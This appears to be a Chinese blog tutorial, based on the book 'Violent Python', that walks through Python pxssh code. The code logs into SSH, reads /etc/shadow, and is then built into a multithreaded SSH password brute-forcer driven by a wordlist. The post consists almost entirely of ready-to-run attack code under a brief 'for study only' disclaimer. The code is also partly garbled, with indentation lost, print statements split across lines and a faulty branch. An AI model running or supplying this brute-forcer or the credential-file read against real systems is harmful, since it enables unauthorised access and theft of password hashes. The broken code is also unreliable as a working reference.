注:本篇文章仅供学习交流,请勿用于非法用途。
欢迎关注微信公众号:黑客帮
参考:《Python绝技:运用Python成为顶级黑客》。
Pxssh交互:
Pxssh是一个包含Pexpect库的脚本,Pexpect安装见->【Python黑客攻防(十一)用Pexpect与SSH交互】,Pxssh已经预先写好了login(),logout()和prompt()等函数,可直接与ssh进行交互。
# coding=utf-8
from pexpect import pxssh
def send_command(s, cmd):
s.sendline(cmd)
# 匹配prompt(提示符)
s.prompt()
# 将prompt前所有内容打印出
print s.before
def connect(host, user, password):
try:
s = pxssh.pxssh()
# 利用login()进行ssh登录
s.login(host, user, password)
return s
except:
print
'[-] Error Connecting'
exit(0)
s = connect('192.168.1.14', 'root', '1') #kali本机
send_command(s, 'cat /etc/shadow')
修改代码:
修改代码使脚本能自动执行暴力破解SSH 密码的任务,除增加了一些参数解析代码来读取主机名、用户名和存有待尝试的密码的文件外,我们只需对connect)函数稍做修改。如果login()函 数执行成功,并且没有抛出异常,我们将打印一个消息,表明密码已被找到,并把表示密码已被找到的全局布尔值(Found)设为true。 否则,我们将捕获该异常。如果异常显示密码被拒绝,我们知道这个密码不对,让函数返回即可。但是,如果异常显示socket为“read nonblocking" ,可能是SSH服务器被大量的连接刷爆了,可以稍等片刻后用相同的密码再试一次。 此外,如果该异常显示pxssh命令提示符提取困难,也应等待一会儿,然后让它再试一次。请注意,在connect(函数的参数里有一个布尔量 release。由于connect()可以递归地调用另一个connet(),我们必须让只有不是由connet()递妇调用的connect)函数才能够释放connection _lock 信号。
# coding=utf-8
from pexpect import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
# 利用pxssh类的login()方法进行ssh登录
s.login(host, user, password)
print '[+] Password is: ' + password
Found = True
except Exception as e:
# SSH服务器可能被大量的连接刷爆,等待一会再连接
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep(5)
# 递归调用的connect(),不可释放锁
connect(host, user, password, False)
# 显示pxssh命令提示符提取困难,等待一会再连接
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
# 递归调用的connect(),不可释放锁
connect(host, user, password, False)
finally:
if release:
# 释放锁
connection_lock.release()
def main():
parser = optparse.OptionParser('usage % prog'+'-H <target host> -u <username> -f <password file>')
parser.add_option('-H', dest='host', type='string', help='specify target host')
parser.add_option('-u', dest='username', type='string', help='target username')
parser.add_option('-f', dest='file', type='string', help='specify password file')
(options, args) = parser.parse_args()
if (options.host == None) | (options.username == None) | (options.file == None):
print
parser.usage
exit(0)
host = options.host
username = options.username
file = options.file
fn = open(file, 'r')
for line in fn.readlines():
if Found:
print '[*] Exiting: Password Found'
exit(0)
if Fails > 5:
print '[!] Exiting: Too Many Socket Timeouts'
exit(0)
# 加锁
connection_lock.acquire()
# 去掉换行符,其中Windows为'\r\n',Linux为'\n'
password = line.strip('\r').strip('\n')
if Found :
t = Thread(target=connect, args=(host, username, password, True))
child = t.start()
else:
print '[-] Testing: ' + str(password)
# 不是递归调用的connect(),可以释放锁
t = Thread(target=connect, args=(host, username, password, True))
child = t.start()
if __name__ == '__main__':
main()
测试:
这里破解的是kalilinux本机的ssh,字典也是使用kalilinux自带的字典。
欢迎关注